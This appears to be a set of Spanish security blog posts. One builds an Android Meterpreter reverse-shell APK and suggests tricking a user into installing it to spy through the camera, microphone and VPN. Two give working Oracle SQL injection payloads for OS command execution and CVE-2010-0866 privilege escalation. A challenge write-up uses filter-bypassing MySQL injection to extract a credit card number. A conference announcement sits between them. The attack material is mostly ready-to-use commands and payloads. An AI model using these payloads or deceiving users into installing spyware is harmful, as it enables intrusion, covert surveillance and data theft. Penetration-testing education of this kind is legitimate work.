 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_fs_file_expand_path_android.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java

La cosa pinta bien ¿no? Sí que parece que hay ficheros que nos hacen pensar que la funcionalidad del nuevo Meterpreter para Android ha sido incorporada. Vamos a ver la ayuda de msfpayload, a ver si confirma nuestra teoría:

$ ./msfpayload -l | grep -i android
    android/meterpreter/reverse_tcp                  Connect back stager, Run a meterpreter server on Android
    android/shell/reverse_tcp                        Connect back stager, Spawn a piped command shell (sh)

¡Genial! Parece que se acabó eso de tener que instalar dos forks de Metasploit, uno el estandar y el otro con esta funcionalidad. Vamos a generar un APK con un Meterpreter con reverse shell, a ver si conseguimos que alguien se lo instale y jugamos un poco con él :)

$ ./msfpayload android/meterpreter/reverse_tcp LHOST=11.22.33.44 R > meter.apk

Tenemos que decirle a msfpayload que use la salida RAW. Eso en otros payloads nos sacaría el shellcode sin formato, pero en el caso de Android nos saca el APK. Veámoslo:

$ file meter.apk 
meter.apk: Zip archive data, at least v2.0 to extract

Nos dice que es un ZIP, pero es que en realidad un fichero APK no es más que un ZIP que contiene una serie de ficheros con un formato determinado. Ahora solo tenemos que instalar la aplicación en un Android, generalmente con algún tipo de engaño. Este APK es más bien una prueba de concepto, porque viene con un icono azul de Metasploit, pero podría esconderse el mismo código en una aplicación que "diera el pego" y el efecto sería el mismo. Al arrancar la aplicación se recibe la conexión inversa.


$ ./msfcli multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=0.0.0.0 E


Ya hemos comprobado que el Meterpreter para Android, funcionar funciona, pero lo que no sabemos es que funcionalidades tiene. Evidentemente, como sucede en las versiones Java y Linux, la funcionalidad es mucho más reducida que en la versión para Windows, pero aún así hay funcionalidades muy interesantes que nos pueden servir para ilustrar los riesgos de seguridad de un dispositivo móvil. Por ejemplo, viene con funcionalidad para realizar fotografías empleando tanto la cámara delantera como la trasera, si estuviera disponible. Otra funcionalidad que me pareció extremadamente interesante fue la posibilidad de activar el micrófono y usar el terminal como un micro oculto. Esta no conseguí hacerla funcionar en el teléfono que lo probé, pero supongo que poco a poco irán puliendo estos detalles.


Imagínatelo, comprometer un terminal móvil y poder escuchar y ver por donde va el usuario. Sin duda un gran trabajo de la gente que ha contribuido con este módulo y de la gente de Rapid7 al ayudar a su integración en Metasploit.

Otra de las funcionalidades que pueden impresionar menos a nivel mediático, pero que resultan muy peligroso a nivel corporativo, es la posibilidad de hacer port-relaying desde el terminal móvil. Digo que interesa a nivel corporativo porque, a un usuario "de casa", no se saca nada haciendo un port-relay, pero en una empresa... ¿qué ocurre si hacemos esto cuando el usuario tiene levantada la VPN que le da acceso a la red interna de la empresa?

meterpreter> portfwd add -l 80 -r 192.168.100.10 -p 80
[*] Local TCP relay created: 0.0.0.0:80 <-> 192.168.100.10:80

Lo dicho, un gran trabajo de la colaboración de la comunidad y del equipo de desarrollo de Metasploit que seguro que nos va a dar mucho juego.

jueves, 25 de abril de 2013

Ponente en ConectaCON 2013

Los próximos días 9 y 10 de Mayo estaré en Jaén participando como ponente en las conferencias ConectaCON, que este año organizan la segunda edición de su congreso.


La charla se titula "Offensive Man-in-the-Middle", y es una aproximación un poco más ofensiva de lo habitual al clásico "Man-in-the-Middle" en el que tradicionalmente se pretende obtener información de forma pasiva o, como mucho, levemente activa (downgrade attacks y similares). En esta ocasión vamos a ver como realizar modificaciones en el propio contenido de las conexiones, de tal forma que consigamos obtener más información, o incluso llegar a tomar el control de la máquina, todo ello sin que se percate de nada de lo ocurrido.

Pero bueno, esto solo es mi charla, los asistentes a la ConectaCON de este año podrán disfrutar de charlas de gente como: Lorenzo Martinez, Juan Garrido, Pepelux, Dabo, Bernardo Quintero, Daniel Medianero, Alejandro Nolla y Dani Kachakil. Un par de ellas ya tuve la oportunidad de verlas en el cumpleaños de este blog que celebramos hace unos meses, y os aseguro que son muy interesantes y divertidas.

El horario de las charlas podéis encontrarlo AQUÍ o podéis directamente buscar la información que necesitéis en la web oficial del congreso AQUÍ.

El evento es gratuito y al ladito del fin de semana, así que no tenéis excusa para no pasaros a pasar un par de días con nosotros y aprovechar el viaje para hacer turismo por la zona el fin de semana. Yo al menos pienso hacerlo :P

Os dejo el video promocional de las conferencias, que a mi personalmente me ha encantado, aunque falta algún ponente por añadir que se ha incorporado a última hora.

martes, 23 de abril de 2013

SQL Injection hasta la cocina - Oracle (y II)

Hacer un par de días veíamos en ESTE post como podíamos ejecutar comandos del sistema operativo en una base de datos Oracle, pero nos quedamos con la limitación que teníamos que conseguir de alguna manera elevar privilegios y obtener permisos de java.io.FilePermission.

La manera de elevar privilegios está muy ligada a la versión de la base de datos y a su nivel de parcheo, ya que de vez en cuando se descubren vulnerabilidades que podrían ayudarnos a nuestros fines. La mejor manera de saber que opciones tenemos es hacer un fingerprinting de la base de datos  buscar esta versión en sitios web como Secunia o SecurityFocus, para que opciones tenemos.

Una de las vulnerabilidades que podemos utilizar es la etiquetada como CVE-2010-0866, que fue descubierta por el gran experto en base de datos David Litchfield. Esta vulnerabilidad permite, a cualquier usuario de la base de datos auto-asignarse privilegios de Java, con lo que es más que suficiente para lo que pretendemos.


Explotando esta vulnerabilidad conseguiríamos los privilegios necesarios para ejecutar todas las acciones que veíamos en el anterior post. Solo tenemos una pega ¿Cómo metemos este exploit en una sentencia SQL dentro de la inyección? ¿No os parece una SQL un poco rara? Efectivamente, la vulnerabilidad no puede ser explotada desde una sentencia SQL "normal", sino que es necesario disponer de un acceso PL/SQL, que podríamos decir que es como si fuera un lenguaje de scripting interno de la propia base de datos Oracle que nos permite mucha más potencia que una simple SQL, como definir variables, hacer bucles, etc ¿Cómo hacemos entonces para ejecutar esto? Veámoslo.

En la OWASP AppSec DC de 2012, Sumit Siddharth nos contaba una técnica de la que él mismo decía que lo cambiaba todo en el mundo de la explotación de vulnerabilidades a través de Inyecciones SQL. La técnica consistía en la existencia de un paquete llamado "DBMS_XMLQUERY" que contiene diversas funciones que permiten la ejecución de comandos PL/SQL, pero que pueden ser llamadas desde una SQL "normal". Empleando esta técnica, podemos ejecutar exploits en PL/SQL contra nuestra base de datos objetivo, para así conseguir elevar privilegios.

Según las pruebas que he hecho, lo que menos problemas da es crear una nueva función en la base de datos con el exploit que habíamos mencionado anteriormente. Yo he llamado a la función "givemethepower()", pero si estáis haciendo un Pentest profesional yo os recomiendo que le pongáis un nombre que identifique a vuestra empresa, para que sea más fácil de identificar.

http://www.vulnerable.com/oracle.asp?id=1 and dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace function givemethepower return number is PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''''DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS SELECT ''''''''GRANT'''''''',USER(), ''''''''SYS'''''''',''''''''java.io.FilePermission'''''''',''''''''<>'''''''',''''''''execute'''''''',''''''''ENABLED'''''''' from dual;BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;'''';commit;return 1;end;''; commit; end;') is not null --

Una vez creada la función, únicamente tenemos que hacer una segunda llamada utilizándola, para que el exploit se lance y se produzca la elevación de privilegios de este usuario.

Por supuesto, os recomiendo que vayáis anotando en todo momento que cosas tocáis, para luego poder volver sobre vuestros pasos y limpiarlo todo o, en caso de que no podáis, pasarle el listado a los administradores. Pero vayamos al grano y elevemos privilegios de una vez:

http://www.vulnerable.com/oracle.asp?id=1 and givemethepower()=1


A partir de este punto, estamos en el punto de partida del ejercicio anterior, con lo que podríamos repetir el proceso para ejecutar comandos del sistema operativo, pero... seguro que se os ocurren cosas mejores que hacer que crear un ficherito en c:\ ¿Verdad?


Pero bueno, para eso necesitaríamos subir el binario de Meterpreter al servidor comprometido, pero no puede ser tan difícil si herramientas como SQLMap y SQLNinja lo hacen con los Microsoft SQL Server ¿No? Otro días nos meteremos con esto en profundidad.

lunes, 22 de abril de 2013

SQL Injection hasta la cocina - Oracle (I)

¿Os suena este título? A los que lleven tiempo siguiendo este blog les sonará un post llamado SQL Injection hasta la cocina - MS SQL Server que fue publicado hará algo más de dos años, y en el que usábamos diferentes herramientas para comprometer una base de datos Microsoft SQL Server a través de una SQL Injection.

En este caso, vamos a intentar repetir el proceso pero esta vez con una base de datos Oracle 11g. Al contrario de lo que sucede con MS SQL Server, en Oracle no existe un comando equivalente a "xp_cmdshell" que nos permita directamente ejecutar comandos del sistema operativo, pero sí que existen algunas funciones y procedimientos de las que podemos abusar para conseguir nuestro objetivo.

Para este primer post vamos a suponer que tenemos una inyección sql con un usuario con todos los privilegios del mundo, y veremos como conseguiríamos ejecutar comandos. En el próximo post veremos como podemos elevar privilegios en el caso de que no seamos tan afortunados de encontrar unos privilegios tan mal asignados. Para las demostraciones utilizaremos una URL como la siguiente, que contiene una vulnerabilidad en su parámetro "id":

http://www.vulnerable.com/oracle.asp?id=1

A pesar de no existir una función equivalente a "xp_cmdshell", Oracle permite diferentes acciones sobre clases por medio del paquete DBMS_JAVA. Una de las funciones de este paquete que nos permite llamar a clases java es RUNJAVA(), que será la que utilizaremos en este post para ejecutar código. Vale, está claro, podemos ejecutar clases java que haya en nuestro servidor objetivo peor... ¿hay alguna clase que venga preinstalada y de la que podamos abusar parar ejecutar código? La respuesta es SI: Existe una clase llamada "Wrapper" que, como vamos a ver a continuación, es exactamente lo que andábamos buscando:


Como podéis ver, esta clase java simplemente coge lo que le hayamos pasado como parámetros y directamente lo ejecuta sobre el sistema operativo, así que ya tenemos una pista del tipo de sentencia SQL que vamos a tener que realizar para conseguir ejecución remota de comandos:

SELECT dbms_java.runjava('oracle/aurora/util/Wrapper c:\\\\windows\\\\system32\\\\cmd.exe /c  echo PWNED > c:\\\\pwned.txt') FROM DUAL);

Recordad que las contrabarras tienen que ser escapadas para que lleguen al sistema operativo tal y como queremos. En este caso, estaremos creando un fichero en c:\ con el contenido "PWNED", que es una prueba bastante inútil en si mismo, pero que al menos nos muestra si estamos consiguiente ejecución de comandos o no.


Esta sentencia, además, podemos insertarla perfectamente en una Inyección SQL como haríamos con cualquier condición, de la siguiente forma:

http://www.vulnerable.com/dbaoracle.asp?id=1 and (SELECT dbms_java.runjava('oracle/aurora/util/Wrapper c:\\\\windows\\\\system32\\\\cmd.exe /c  echo PWNED > c:\\\\pwned.txt') FROM DUAL) IS NOT NULL -- 

¡Qué fácil! ¿Verdad?
Pues no, lo cierto es que no es tan fácil ¿Recordáis que comentábamos que en este caso asumimos que el usuario de base de datos de la aplicación tiene "todos los privilegios del mundo"? Tampoco necesitamos todos los del mundo, sino que con uno solo nos basta: java.io.FilePermission. Este permiso, sin embargo, no se asigna por defecto, y yo no he visto muchos sitios donde los administradores lo hayan asignado muy a la ligera, así que podemos asumir que en una Inyección SQL real no nos vamos a encontrar con estos privilegios.

Ya, ya sé lo que estáis pensando, que vaya post inútil os he contado ¿verdad? Bueno, digamos que todo lo que os acabo de contar os vale como un segundo paso de la explotación, una vez que ya hayamos conseguido elevar a los privilegios necesarios.

Pero... ¿Cómo vamos a hacer para elevar privilegios? Lo veremos en el siguiente post.

martes, 16 de abril de 2013

Solución a SQL Injection Challenge Three

Como a cualquiera que se dedica a este mundillo, me encantan los retos de seguridad, pero por desgracia no suelo poderles dedicar el tiempo que requieren. Muchas veces intento ni siquiera mirarlos, sobretodo si tengo mucho trabajo de otras cosas, porque me "pico" con facilidad y soy capaz de tirarme horas y horas hasta que no doy con la solución.

Hace un par de fin de semanas, mi amigo Adrián Bravo estaba resolviendo unos retos de seguridad web y me comentó que había un reto que parecía que "tenía su aquel". "Pégale un vistazo a ver si se te ocurre algo", me dijo. Había conseguido picarme a mirarlo, y ya estaba enganchado, estaba perdido...

El reto, para no destriparlo, lo voy a anonimizar, pero el que lo haya hecho o lo haya intentado seguro que reconocer el formato, así que si no queréis que os lo destripe es el momento de dejar de leer AHORA!


El reto era típico, tenemos un campo de texto libre en el que escribimos el nombre de una persona y nos devuelve de nuevo su nombre si lo encuentra. Si ponemos una comilla simple nos devuelve un bonito error de MySQL, así que ya sabemos dos cosas: que tenemos los errores a la vista y que la base de datos es un MySQL:

theUserName=Mary Martin'

com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''mary martin''' at line 1

Vamos a probar ahora una cadena típica de inyección, a ver que tal nos responde la aplicación:

theUserName=Mary Martin' AND 1=1 #

com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1=1 #'' at line 1

El error habla de un error de sintaxis cerca de 1=1, algo que es un poco raro, porque la instrucción SQL que hemos introducido es perfectamente válida. Este tipo de errores suelen ocurrir cuando existen mecanismos de filtrado que eliminan algunas palabras, lo cual puede resultar en que la sintaxis no sea correcta. Como tenemos la suerte de tener los errores a la vista, vamos a forzar un error a ver si la palabra "AND" nos la está filtrando:

theUserName=Mary Martin' aaaaANDbbbb #

com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'aaaabbbb #'' at line 1

Como podéis ver en el error, la cadena "AND" (case insensitive) la ha eliminado, así que es esto lo que nos está provocando errores de sintaxis, y lo tendremos que tener en cuenta. Haciendo algunas pruebas más vemos que la cadena "OR" también se encuentra filtrada, pero no otras cadenas típicas como "UNION", "SELECT", "FROM", etc, así que vamos a poder hacer un UNION de la manera habitual, a ver los nombres de las tablas:

theUserName=Mary Martin' UNION SELECT table_name FROM information_schema.tables #

com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: SELECT command denied to user 'HdmiNoSignal'@'193.1.201.85' for table 'tables'

Este error no me terminó de quedar claro por qué sucedía, si por una falta de permisos o por un error en el nombre, ya que la cadena infORmation_schema contiene la cadena "OR", y por lo tanto el nombre no va a ser nunca correcto. En cualquier caso, parecía que no íbamos a poder obtener los nombres de las tablas de una manera convencional, así que teníamos dos posibles salidas: La primera de ellas era atacar por fuerza bruta los nombres de las tablas, y la segunda es que la información que buscamos esté en la misma tabla contra la que se realiza la query original. El segundo caso es más sencillo, así que vamos a por él primero, a ver si conseguimos sacar el nombre de la tabla.

theUserName=Mary Martin' PROCEDURE ANALYSE() #


Utilizando PROCEDURE ANALYSE() conseguimos obtener una cadena que nos muestra el nombre de base de datos, tabla y columna que devuelve la query original. En este caso, vemos que la tabla se llama "customers", y que contiene al menos una columna llamada "customerName" pero... ¿tendrá más columnas?

theUserName=Mary Martin' || (SELECT * FROM customers)=1 #

java.sql.SQLException: Operand should contain 5 column(s)

Utilizando el operado "||" en lugar de "OR" para evitar el filtrado, podemos hacer una segunda query que nos devolvería todas las columnas de la tabla "customers" y, al compararla con "1", vamos a obtener un error diciendo que el operado debería tener X columnas, que será la cantidad de columnas que tiene la tabla "customers". Ahora solo nos salta falta saber como se llaman, a ver si alguna de ellas contiene la información sobre tarjetas de crédito que buscamos:

theUserName=Mary Martin' || (SELECT * FROM (SELECT * FROM customers a JOIN customers b) c) #

com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Duplicate column name 'customerId'

Una posible manera de hacerlo es provocando un error al hacer un JOIN, ya que si hacemos un JOIN de una tabla consigo misma, los nombres de las columnas van a coincidir, y este error nos va a mostrar el nombre de la columna coincidente. Lamentablemente solo nos muestra uno de los nombres, así que vamos a tener que ir sacando los nombres de forma iterativa usando la sentencia USING (columna1, columna2, columna3) para hacer que el error se de en la columna siguiente:

theUserName=Mary Martin' || (SELECT * FROM (SELECT * FROM customers
a JOIN customers b USING (customerId,customerName)) c) #


¡¡Perfecto!! Parece que ya sabemos el nombre de la tabla y el nombre de la columna que necesitamos, así que ahora solo nos queda hacer la query para obtener la tarjeta de crédito:

theUserName=Mary Martin' UNION SELECT creditCardNumber FROM
customers WHERE customerName='Mary Martin' #


¡Parece que la lo tenemos! Os dejo tapadito el número de tarjeta de crédito para que, aunque conozcáis el reto, al menos lo tengáis que explotar vosotros mismos ;)